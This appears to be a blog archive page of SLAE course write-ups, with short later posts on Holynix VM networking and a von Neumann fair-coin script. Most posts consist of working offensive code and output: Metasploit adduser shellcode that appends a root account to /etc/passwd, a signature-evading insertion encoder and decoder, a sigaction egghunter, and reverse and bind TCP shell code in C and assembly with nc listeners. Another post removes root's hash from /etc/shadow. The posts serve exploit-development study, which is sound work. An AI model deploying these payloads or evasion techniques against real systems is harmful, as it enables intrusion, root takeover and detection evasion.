Pages

Sunday, August 4, 2013

Metasploit Linux adduser shellcode analysis

This post is part of the 5th assignment of the SLAE course and will analyse the Metasploit linux/x86/adduser shellcode.
First let's generate the shellcode:
# msfpayload linux/x86/adduser USER=jsmith PASS=ok  C
This will generate a payload that will create a new root user, with uid and gid equal to 0.
/*
 * linux/x86/adduser - 93 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, USER=jsmith, PASS=ok, SHELL=/bin/sh
 */
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x6a\x73"
"\x6d\x69\x74\x68\x3a\x41\x7a\x2e\x54\x4f\x53\x72\x67\x72\x4d"
"\x36\x72\x6f\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01"
"\x58\xcd\x80";
To test it, I've integrated the shellcode into a C skeleton file and run against a Linux box:
# cat /etc/passwd | grep jsmith
# ./shellcode
Shellcode Length:  40 bytes
# cat /etc/passwd | grep jsmith
jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh
# su jsmith
# id
uid=0(root) gid=0(root) groups=0(root)
As we can see, the new root user was successfully created. Next I continued to disassemble it:
$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x6a\x73\x6d\x69\x74\x68\x3a\x41\x7a\x2e\x54\x4f\x53\x72\x67\x72\x4d\x36\x72\x6f\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" |ndisasm -b 32 -
Firstly, the shellcode restores the privileges, in case the running process would have dropped them:
00000000  31C9              xor ecx,ecx             ; Effective user id - 0
00000002  89CB              mov ebx,ecx             ; Real user id - 0
00000004  6A46              push byte +0x46         ; sys_setreuid16 syscall number
00000006  58                pop eax                 ; Sets real and effective user id
00000007  CD80              int 0x80                ; Fire the interrupt
Next, it will open the /etc/passwd file. The flags for opening the file will be set to 0x00000401: O_WRONLY|O_APPEND. (Note1: the mode for opening the file, which should have been in EDX register, is not specified because it is ignored for O_CREAT flag not specified):
00000009  6A05              push byte +0x5
0000000B  58                pop eax                 ; Prepare eax for sys_open syscall
0000000C  31C9              xor ecx,ecx             ; Set ecx to 0 
0000000E  51                push ecx                ; Push 0 to act as a null terminator
0000000F  6873737764        push dword 0x64777373   ; 'dwss'
00000014  682F2F7061        push dword 0x61702f2f   ; 'ap//'
00000019  682F657463        push dword 0x6374652f   ; 'cte/'
0000001E  89E3              mov ebx,esp             ; Filename: '/etc//passwd'
00000020  41                inc ecx  
Note2: the open syscall and the parameters can also be easily viewed using strace program:
# strace ./shellcode
. . . 
open("/etc//passwd", O_WRONLY|O_APPEND) = 3 
The next part will write the "jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh\n" string to it (username and encrypted password):
00000025  93                xchg eax,ebx
00000026  E824000000        call dword 0x4f
; String starts  here -->
; jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh\n
0000002B  6A73              push byte +0x73
0000002D  6D                insd
0000002E  6974683A417A2E54  imul esi,[eax+ebp*2+0x3a],dword 0x542e7a41
00000036  4F                dec edi
00000037  53                push ebx
00000038  7267              jc 0xa1
0000003A  724D              jc 0x89
0000003C  36726F            ss jc 0xae
0000003F  3A30              cmp dh,[eax]
00000041  3A30              cmp dh,[eax]
00000043  3A3A              cmp bh,[edx]
00000045  2F                das
00000046  3A2F              cmp ch,[edi]
00000048  62696E            bound ebp,[ecx+0x6e]
0000004B  2F                das
0000004C  7368              jnc 0xb6
0000004E  0A. |--> String ends here
We then have to disassemble the instructions starting after the end of string (easily done in gdb):
00000051  51                push ecx
00000052  FC                cld
00000053  6A04              push byte +0x4
00000055  58                pop eax         ; sys_write syscall
00000056  CD80              int 0x80
; write(3, "jsmith:Az.TOSrgrM6ro:0:0::/:/bin"..., 36) = 36
Finally the shellcode calls the exit function to cleanly finish execution:
00000058  6A01              push byte +0x1
0000005A  58                pop eax         ; sys_exit syscall
0000005B  CD80              int 0x80

The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
 

Custom encoding scheme

 For the 4th assignment of SLAE, I've made a custom encoding scheme, with the same purpose as the insertion encoder: avoid signature detection by inserting garbage bytes into the shellcode.

 The encoding scheme is as follows: we start from a working shellcode and insert garbage blocks, containing a random garbage byte and the offset to the next garbage block.
The distance between the garbage blocks is a random value between 2 modifiable limits. In this way we can control the final length of the shellcode and the amount of garbage inserted:

The encoded shellcode will look like this:
---------------------------------------------------------
| n0 | . . .| b1 | n1 | . . . . .| b2 | n2 | . . . |END |
---------------------------------------------------------

ni  - next garbage byte position
bi  - garbage byte
END - END of the shellcode marker


 The encoding is done in a short python script:
#!/usr/bin/python
'''
    Python Insertion Encoder 
 
'''

import random

# Execve-stack shellcode - execve(/bin/sh,..)
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""

idx = 1

# Control  the frequency of garbage through a displacement
MIN_DEP = 3     # min number of shellcode bytes after which to inject garbage
MAX_DEP = 4     # max ...
dep = random.randint(MIN_DEP, MAX_DEP)
n = idx + dep
encoded += '\\x%02x' % n
END = "\\xf0\\x0d"

for x in bytearray(shellcode) :
    if idx == n: 
        # We have reached an insertion point
        dep = random.randint(MIN_DEP, MAX_DEP)
        n = idx + dep

        encoded += '\\x%02x' % random.randint(1,255)
        encoded += '\\x%02x' % n
        idx += 2
    
    # Add a shellcode byte
    encoded += '\\x%02x' % x
    idx += 1

encoded += END

print encoded
# Print in nasm friendly form
print encoded.replace("\\x", ",0x")[1:]

print 'Initial len: %d, encoded len: %d' % (len(shellcode), 
    len(encoded)/4)
The decoding is done in the assembly shellcode:
global _start   

section .text
_start:

 jmp short call_shellcode

decoder:
 pop esi                     ; beginning of the encoded shellcode
 lea edi, [esi]              ; shellcode decoded in place. Edi - dest pointer
 xor eax, eax            
 mov al, byte [esi]          ; position of next garbage byte
 xor ebx, ebx
    push 1                      ; index into the shellcode
    pop ecx

decode: 
    cmp ecx, eax
    jnz short shellcode_byte    ; shellcode byte found 
    add ecx, 2                  ; garbage byte found. Advance 2 bytes
    mov al, byte [esi + eax + 1]; position of next garbage byte    
shellcode_byte:                 ; byte part of real shellcode
 mov bl, byte [esi + ecx]
 mov byte [edi], bl
 inc edi                     ; advance destination
 inc ecx                     ; advance source
 cmp byte [esi + ecx], 0xf0  ; check for END marker
    jnz decode
    cmp byte [esi + ecx + 1], 0x0d
    jnz decode
    jmp esi                     ; shellcode decoded in-place. Jump to it



call_shellcode:

 call decoder
 EncodedShellcode: db 0x04,0x31,0xc0,0x50,0x06,0x08,0x68,0x2f,0x15,0x0b,0x2f,0x12,0x0e,0x73,0x85,0x11,0x68,0x4e,0x14,0x68,0x96,0x18,0x2f,0x62,0xd8,0x1c,0x69,0x6e,0xf9,0x20,0x89,0xe3,0xa9,0x23,0x50,0x6d,0x26,0x89,0x60,0x29,0xe2,0x0e,0x2d,0x53,0x89,0x3b,0x30,0xe1,0xaa,0x34,0xb0,0x0b,0x55,0x37,0xcd,0xe2,0x3b,0x80,0xf0,0x0d

And now to test this:
- encode the execve-stack shellcode using the python script
- disassemble and examine the encoded shellcode
- define the shellcode bytes at the end of the assembly decoder
- assemble
- test using a C program which executes the payload
$ ./custom-encoder.py 
\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d
0x05,0x31,0xc0,0x50,0x68,0xb1,0x08,0x2f,0x58,0x0c,0x2f,0x73,0x71,0x10,0x68,0x68,0x88,0x14,0x2f,0x62,0x42,0x17,0x69,0x6a,0x1a,0x6e,0xba,0x1d,0x89,0xf5,0x21,0xe3,0x50,0xe0,0x25,0x89,0xe2,0xaf,0x29,0x53,0x89,0x83,0x2d,0xe1,0xb0,0x33,0x30,0x0b,0x1a,0x33,0xcd,0x66,0x36,0x80,0xf0,0x0d
Initial len: 25, encoded len: 56
$ echo -ne "\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d" | ndisasm -b 32 -
00000000  0531C05068        add eax,0x6850c031
00000005  B108              mov cl,0x8
00000007  2F                das
00000008  58                pop eax
00000009  0C2F              or al,0x2f
0000000B  7371              jnc 0x7e
0000000D  106868            adc [eax+0x68],ch
00000010  88142F            mov [edi+ebp],dl
00000013  624217            bound eax,[edx+0x17]
00000016  696A1A6EBA1D89    imul ebp,[edx+0x1a],dword 0x891dba6e
0000001D  F5                cmc
0000001E  21E3              and ebx,esp
00000020  50                push eax
00000021  E025              loopne 0x48
00000023  89E2              mov edx,esp
00000025  AF                scasd
00000026  295389            sub [ebx-0x77],edx
00000029  832DE1B033300B    sub dword [dword 0x3033b0e1],byte +0xb
00000030  1A33              sbb dh,[ebx]
00000032  CD66              int 0x66
00000034  3680F00D          ss xor al,0xd
$ ./compile.sh 
  [+] Assembling egghunter
  [+] Linking egghunter
\xeb\x2d\x5e\x8d\x3e\x31\xc0\x8a\x06\x31\xdb\x6a\x01\x59\x39\xc1\x75\x07\x83\xc1\x02\x8a\x44\x06\x01\x8a\x1c\x0e\x88\x1f\x47\x41\x80\x3c\x0e\xf0\x75\xe8\x80\x7c\x0e\x01\x0d\x75\xe1\xff\xe6\xe8\xce\xff\xff\xff\x04\x31\xc0\x50\x06\x08\x68\x2f\x15\x0b\x2f\x12\x0e\x73\x85\x11\x68\x4e\x14\x68\x96\x18\x2f\x62\xd8\x1c\x69\x6e\xf9\x20\x89\xe3\xa9\x23\x50\x6d\x26\x89\x60\x29\xe2\x0e\x2d\x53\x89\x3b\x30\xe1\xaa\x34\xb0\x0b\x55\x37\xcd\xe2\x3b\x80\xf0\x0d
  [+] House cleaning
  [+] Done!
$ ./shellcode 
Shellcode Length:  112 bytes
$ whoami
liv
$

The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
    

Creating Egghunter shellcodes

For the third assignment of SLAE course I've studied different egghunter payloads. The starting reference paper for this is skape's Safely Searching Process Virtual Address Space.

I've implemented the 3 methods described in the paper:
  • access() - Small and robust egghunter using access(0 system call to check validity  of addresses. Cons: size is 39 bytes and the egg needs to be executable because after finding it, the execution jump before the egg and continues on.
  • access() revisited - smaller (35 bytes), minor speed improvements, egg does not need to be executable. Cons: sets DF flag in case of failure (in very rare cases this could impact the running of the host application)
  • sigaction() - even smaller (30 bytes), robust and very fast (validates 16 bytes at a time). Cons: some very rare odd failure situation described in detail in the paper.
For the purpose of this post, I'll detail a slightly modified version of the sigaction() egghunter:
  • sigaction() reloaded - the smallest version (only 28 bytes). I've replaced the double check for the egg with only one check. To avoid finding the egg in the comparison from the shellcode, I've applied a small transform before searching for it (inc eax in this case, but could be any other 1 bytecode operation also - e.g. shifting bytes).
global _start   

section .text
_start:
    or cx,0xfff             ; page allignment
next_addr:
    inc ecx                 ; Pointer to region to be validated
    push byte +0x43         ; sigaction() syscall number
    pop eax                 ; Syscall number in eax
    int 0x80                ; Execut ethe syscall
    cmp al,0xf2             ; Compare with EFAULT
    jz short _start         ; Go to next page
    mov eax, <EGG>          ; The egg
    inc eax                 ; Egg modification. Avoid first find from above!
    mov edi,ecx             ; Prepare for comparison
    scasd                   ; Compare
    jnz short next_addr     ; Jump to next address
    jmp edi                 ; Jump to shellcode

To test it I've used the following C program simulating a real payload:
[  filler  ] [  egghunter  ] [  garbage  ] [  shellcode  ]
#include <stdio.h>
#include <string.h>

#define     EGG     "<EGG>"

unsigned char sled[] = "Some misc bytes here";
unsigned char egghunter[] = 
        "<EGGHUNTER>";
unsigned char garbage[] = "Garbage, mangled bytes, whatever";
// execve(/bin/sh,..) shellcode here 
unsigned char shellcode[] = EGG
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
                "\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

// Function pointer
typedef int (*func_ptr)();

void main() {
    printf("Egghunter length: %d bytes\n", strlen(egghunter));
    printf("Shellcode Length:  %d bytes\n", strlen(shellcode));

    ((func_ptr) egghunter)();
}
The egg is configurable, and the compilation takes place from a wrapper script:
$ ./compile.sh 
Usage: compile.sh {4 chars EGG mark}
 E.g.: compile.sh W00T
$ ./compile.sh BUBU
  [*] Using egg  BUBU
  [*] (Modified) Egg hex:, 0x55425542
  [+] Replace egg with, BUBU
  [+] Assembling egghunter
  [+] Linking egghunter
  [*] Egghunter:
\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x42\x55\x42\x55\x40\x89\xcf\xaf\x75\xeb\xff\xe7
  [+] Compile shellcode tester
  [+] House cleaning
  [+] Done! run ./shellcode
$ ./shellcode 
Egghunter length: 28 bytes
Shellcode Length:  29 bytes
$ whoami
liv
$ 

The complete source files and scripts mentioned can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
    

Reverse TCP Shellcode

This is the second assignment of the SLAE exam: building a reverse TCP shellcode. As for the previous bind tcp one, I've started with a C program that creates a reverse TCP connection:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>

int main() {
    int sockfd = 0;
    int ret = 0;

    struct sockaddr_in dest;

    // Create an un-named socket. returns socket descriptor
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&dest, '0', sizeof(struct sockaddr));
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = inet_addr("127.0.0.1"); 
    dest.sin_port = htons(8888);

    connect(sockfd, (struct sockaddr *)&dest, sizeof(struct sockaddr));

    // Duplicate stdin, stdout, stderr
    ret = dup2(sockfd, 0);
    if (-1 == ret) {
        printf("STDIN duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(sockfd, 1);
    if (-1 == ret) {
        printf("STDOUT duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(sockfd, 2);
    if (-1 == ret) {
        printf("STDERR duplication failed: %s\n", strerror(errno));
        return 1;
    }

    // Replace process image
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;      // Needs to ne a NULL terminated list of args

    ret = execve(args[0], args, NULL);
    if (-1 == ret) {
        printf("Execve failed: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}

I've then compiled the reverse shell:
$ gcc -Wall shell_reverse_tcp.c -o shell_reverse_tcp
Started the listener:
$ nc -lvvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
And in another terminal executed the reverse shellcode:
$ ./shell_reverse_tcp
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [127.0.0.1] port 8888 [tcp/*] accepted (family 2, sport 60226)
whoami
liv

To see the system calls necessary to implement this in assembly, I've used strace:
$ strace ./shell_reverse_tcp 
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0

Next is the commented assembly source implementing the system calls from above:
global _start   

section .text
_start:

    ; Linux Syscall Reference
    ; http://syscalls.kernelgrok.com/


    ; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = sockfd
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    push ecx        ; NULL terminate args list
    mov cl, 6       ; IPPROTO_TCP (6)
    push ecx
    xor ecx, ecx
    mov cl, 1       ; SOCK_STREAM (1) - in socket.h
    push ecx
    xor ecx, ecx
    mov cl, 2       ; PF_INET (2) - IP PROTO FAMILY
    push ecx
    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 1       ; socketcall type of call: SYS_SOCKET (1) 
    push 102
    pop eax         ; socketcall syscall
    int 0x80
    mov edx, eax    ; sockfd is returned in eax. Save into edx    

    ; 2. connect(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("127.0.0.1")}, 16)
    ;struct sockaddr_in {
    ;    short            sin_family;   // e.g. AF_INET, AF_INET6
    ;    unsigned short   sin_port;     // e.g. htons(3490)
    ;    struct in_addr   sin_addr;     // see struct in_addr, below
    ;    char             sin_zero[8];  // zero this if you want to
    ;};
    ;struct in_addr {
    ;    unsigned long s_addr;          // load with inet_pton()
    ;};
    push <IP>       ; IP address
    push word <PORT>; 16 bits - port number
    push word 2     ; family - AF_INET (2)
    mov ecx, esp    ; pointer to args

    push byte 0x10  ; Address length - 16 bytes
    push ecx        ; Pointer to sockaddr_in structure
    push edx        ; sockfd from socket call

    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 3       ; socketcall type of call: SYS_CONNECT (3)
    xor eax, eax
    mov al, 102     ; socketcall syscall
    int 0x80

    ; 3. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
    push 2
    pop ecx         ; ecx - newfd
    mov ebx, edx    ; edx - connfd, ebx - oldfd
    dup_loop:
    mov al, 63      ; dup2 syscall
    int 0x80
    dec ecx
    jns dup_loop    ; exit when signed (-1)
      
    ; 4. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
 ; PUSH the first null dword 
 xor eax, eax
 push eax

    ; PUSH //bin/sh (8 bytes) 
 push 0x68732f2f ; 'hs//'
 push 0x6e69622f ; 'nib/
 mov ebx, esp    ; EBX - 1st param - NULL terminated filename

 push eax        ; EDX - 3rd param - NULL terminated list of env variables
 mov edx, esp    ; NULL terminator must be set before setting the 2nd param!

 push ebx        ; ECX - 2nd param - array of argument strings
 mov ecx, esp

 mov al, 11      ; execve syscall
 int 0x80


The IP and port are replaced by a bash script, which does compilation and linking:
$ ./compile.sh 
Usage: compile.sh {ip} {port}
$ ./compile.sh 127.0.0.2 8899
[+] Replacing IP with 0x0200007f
[+] Replacing port number with 0xc322
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Cleaning ...
[+] Done!
$ nc -lvvp 8899 
Listening on [0.0.0.0] (family 0, port 8899)
$ ./shell_reverse_tcp
Connection from [127.0.0.1] port 8899 [tcp/*] accepted (family 2, sport 41801)
whoami
liv

The complete source files, wrapper bash script and test shellcode can be found in a git repository at:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
    

Bind TCP shellcode

 To create a bind TCP shellcode, I've first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections and spawns a new shell:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>

int main() {
    int listenfd = 0, connfd = 0;    
    int ret = 0;

    struct sockaddr_in serv_addr;

    // Create an un-named socket. returns socket descriptor
    listenfd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(4444);

    bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));

    // Listen on the created socket for maximum 1 client connection
    listen(listenfd, 1);

    // Sleep waiting for client requests
    connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
    printf("Created accept socket: %d\n", connfd);

    // Duplicate stdin, stdout, stderr
    ret = dup2(connfd, 0);
    if (-1 == ret) {
        printf("STDIN duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 1);
    if (-1 == ret) {
        printf("STDOUT duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 2);
    if (-1 == ret) {
        printf("STDERR duplication failed: %s\n", strerror(errno));
        return 1;
    }

    // Replace process image
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;      // Needs to ne a NULL terminated list of args

    ret = execve(args[0], args, NULL);
    if (-1 == ret) {
        printf("Execve failed: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}
We can test and see we get a shell:
$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
$ ./shell_bind_tcp  &
[1] 4528
$ nc -nvv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
Created accept socket: 4
whoami
liv
We can then analyse the system calls necessary to bind the socket, listen for connections and execute the shell:
$ strace ./shell_bind_tcp 
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)                            = 0
accept(3, 0, NULL)                      = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0

The next step is to reproduce these system calls in assembly and get the shellcode:
; SLAE - Assignment 1
;
; Shell Bind TCP
;

global _start   

section .text
_start:

    ; Linux Syscall Reference
    ; http://syscalls.kernelgrok.com/


    ; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    push ecx        ; NULL terminate args list
    mov cl, 6       ; IPPROTO_TCP (6)
    push ecx
    xor ecx, ecx
    mov cl, 1       ; SOCK_STREAM (1) - in socket.h
    push ecx
    xor ecx, ecx
    mov cl, 2       ; PF_INET (2) - IP PROTO FAMILY
    push ecx
    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 1       ; socketcall type of call: SYS_SOCKET (1) 
    push 102
    pop eax         ; socketcall syscall
    int 0x80
    mov edx, eax    ; listenfd is returned in eax. Save into edx    

    ; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
    ;       sin_addr=inet_addr("0.0.0.0")}, 16)
    ;struct sockaddr_in {
    ;    short            sin_family;   // e.g. AF_INET, AF_INET6
    ;    unsigned short   sin_port;     // e.g. htons(3490)
    ;    struct in_addr   sin_addr;     // see struct in_addr, below
    ;    char             sin_zero[8];  // zero this if you want to
    ;};
    ;struct in_addr {
    ;    unsigned long s_addr;          // load with inet_pton()
    ;};
    xor ecx, ecx    ; Construct sockaddr structure on the stack
    push ecx        ; inet_addr - 0.0.0.0 - INADDR_ANY
    push word <PORT>; 16 bits - port number
    push word 2     ; family - AF_INET (2)
    mov ecx, esp    ; pointer to args

    push byte 0x10  ; Address length - 16 bytes
    push ecx        ; Pointer to sockaddr_in structure
    push edx        ; listenfd from socket call

    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 2       ; socketcall type of call: SYS_BIND (2)
    xor eax, eax
    mov al, 102     ; socketcall syscall
    int 0x80

    ; 3. listen(listenfd, 1)
    push 1          ; max connections
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 4
    pop ebx         ; SYS_LISTEN (4)
    push 102
    pop eax         ; socketcall syscall
    int 0x80
 
    ; 4. accept(listenfd, 0, NULL) = connfd
    xor ecx, ecx
    push ecx        ; NULL
    push ecx        ; 0
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 5
    pop ebx         ; SYS_ACCEPT = 5
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax
    mov edx, eax    ; save new connection descriptor

    ; 5. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
    push 2
    pop ecx         ; ecx - newfd
    mov ebx, edx    ; edx - connfd, ebx - oldfd
    dup_loop:
    mov al, 63      ; dup2 syscall
    int 0x80
    dec ecx
    jns dup_loop    ; exit when signed (-1)
      
    ; 6. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
 ; PUSH the first null dword 
 xor eax, eax
 push eax

    ; PUSH //bin/sh (8 bytes) 
 push 0x68732f2f ; 'hs//'
 push 0x6e69622f ; 'nib/
 mov ebx, esp    ; EBX - 1st param - NULL terminated filename

 push eax        ; EDX - 3rd param - NULL terminated list of env variables
 mov edx, esp    ; NULL terminator must be set before setting the 2nd param!

 push ebx        ; ECX - 2nd param - array of argument strings
 mov ecx, esp

 mov al, 11      ; execve syscall
 int 0x80


To make the port number easily configurable, I've made a bash wrapper, which replaces PORT with a command line argument and then assembles and links the asm source

The complete source files, wrapper script and test shellcode can be found in  a git repository at:
SLAE


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
    

Friday, May 17, 2013

Troubleshooting network connectivity for Holynix on VirtualBox

Holynix is a "Linux vmware image that was deliberately built to have security holes for the purposes of penetration testing".  It has 2 levels and solutions are already published.  In this post I'll details my approach to set up network connectivity for the 2 Holynix VMs and another Backtrack VM, all running in VirtualBox.
After some unsuccessful attempts to make it run under VirtualBox and have connectivity, I decided to reset the root password and actually check and understand the network settings.

To reset the root password

  • I've first install VmWare Player on Ubuntu.
  • The open VM in VMWare player
         - Edit Virtual Machine Settings
         - Go to Hard Disk
         - Utilities (at the bottom)
         - Mount Disk and select the second ext partition
  • Make a copy of the /etc/shadow file
  • Delete the password hash of root from /etc/shadow
  • Start again the VM in VirtualBox and login as root without password!

Holynix Level 1

To have connectivity between this machine and the bt machine, I just added an internal network adapter and put Holynix VM in the same lan as bt machine
Then got an IP through DHCP server of the internal network (already configured!)
 # dhclient eth1
(or just apply the steps in next session to have eth0 instead eth1 and get IP automatically on eth0)

Holynix Level 2

First I've also removed root password.

Then for the network settings
  • Add holynix2 and bt to a new internal network
  • Holynix2 assigns static IP 192.168.1.88 on interface eth0 ! (Firewall rules seen when booting show eth0 also)
  • The /etc/network/interfaces  file contains the following:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 192.168.1.88
    netmask 255.255.255.0
    network 192.168.1.0
    broadcast 192.168.1.255
    gateway 192.168.1.1


But we just have eth1, not eth0 ?!
If we examine the kernel messages we see:
# dmesg | grep eth
...
udev: renamed network interface eth0 to eth1
..

The explanation for this is found on virtualbox forums:
[SOLVED]Missing eth0 in Ubuntu guest

Basically the problem is that each time a VBox guest has a new/different MAC, Debian and Ubuntu guests udev assigns a new eth number. By deleting that file, it is recreated correctly at the next reboot).

# cd /etc/udev/rules.d
# sudo mv 70-persistent-net.rules 70-persistent-net.rules_old
# sudo reboot


After the reboot, eth0 will be present and configured properly.



For the Bbacktrack machine, we'll configure the interface that's in the same internal network as Holynix 2 VM:
# ifconfig eth4 down
# ifconfig eth4 192.168.1.1 netmask 255.255.255.0
# ifconfig eth4 up


Now check that we have connectivity between bt and holynix machines and happy hacking !

Monday, April 1, 2013

Fair result with biased coin

 This is a nice short question: How can you get fair results from tossing a biased coin ? (but not completely biased though, with a side having 0 probability!). The solution given by von Neumann is as follows:
  1.     Toss the coin twice.
  2.     If the results match, start over, forgetting both results.
  3.     If the results differ, use the first result, forgetting the second.

This produces the correct result because even with this biased coin, the probability of heads then tails is equal to the probability of getting tails then heads. So out of the 4 possible events (H-T, H-H, T-H, T-T) we are left with 2 events with the same probability.

I made a small python script to see how many tries are needed as the probability of the biased faces varies away from 0.5
# Biased coin probability to get heads
p = 0.7

# Simulate the bias
N = 1000000
random.seed()
v = [0] * int(N * p) + [1] * int(N * (1-p))
random.shuffle(v)

# Fair events
cnt = 0
# Total events
ev = 0
 
while cnt<200: 
    idx1 = random.randint(0, N-1)
    idx2 = random.randint(0, N-1)
    
    if(v[idx1] != v[idx2]): 
        cnt +=1 
    ev += 1
    
# For p = 0.5 ev ~= cnt*2     
print "Events needed to get X fair tosses: %d" % (ev)

References
Fair results from a biased coin